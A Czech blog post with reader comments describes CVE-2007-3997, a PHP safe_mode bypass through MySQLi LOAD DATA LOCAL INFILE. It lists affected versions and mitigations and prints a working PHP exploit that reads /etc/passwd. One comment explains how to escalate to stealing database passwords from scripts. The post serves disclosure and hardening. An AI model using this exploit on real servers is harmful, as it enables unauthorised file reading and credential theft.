PHP
První díl, ze „seriálu o bezpečnosti“, aneb tuníme náš server…
Vztahuje se k:
< = PHP 5.2.3
<= PHP 4.4.7
CVE:
CVE-2007-3997
Problém:
Díky rozšířením MySQL a MySQLi v PHP lze obejít bezpečnostní politiku safe_mode.
Detail:
Pomocí funkce MySQL LOCAL INFILE lze získat libovolný soubor ze systému.
Řešení:
1) Kompilovat MySQL klienta s parametrem „–disable-local-infile“
– nepomůže při použití MySQLi, neboť volba se dá znovu povolit příkazem „mysqli->options(MYSQLI_OPT_LOCAL_INFILE, 1);“
2) Do konfiguračního souboru (/etc/mysql/my.cnf) vložit (do sekce [mysqld]) „set-variable=local-infile=0“.
Exploit:
function r($fp, &$buf, $len, &$err) {print fread($fp, $len);}
$m = new mysqli(‚localhost‘, ‚aaaa‘, “, ‚a‘);
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler(„r“);
$m->query(„LOAD DATA LOCAL INFILE ‚/etc/passwd‘ INTO TABLE a.a“);
$m->close();
lol at zije PHP 🙂
19 listopadu, 2007 at 3:10 amteda MySQLi… na druhou stranu – utocnik tim ziskava pouze jmena uzivatelu na systemu…
19 listopadu, 2007 at 3:11 am>na druhou stranu – utocnik tim ziskava pouze jmena uzivatelu na systemu…
/etc/passwd se dava jako oblibeny priklad. Navic nechci ted nekomu sahat do svedomi, ale znam minimalne tucet high-load serveru, na kterych se dodnes nepouzivaji stinova hesla a MySQL bezi pod rootem.
Cele to lze samozrejmne ale vyuzit i jinak. Zobrazis si napriklad zdrojak nejakeho PHP scriptu, odtama vyctes heslo k databazi a pak uz jsi dalsim neplacenym adminem.
19 listopadu, 2007 at 3:39 amNěkdy mě udivuje, jak někteří lidé můžou dělat administrátory, když netuší na co jsou stínová hesla a neslyšeli snad ani o shadowconfig 😉
28 prosince, 2007 at 6:57 pm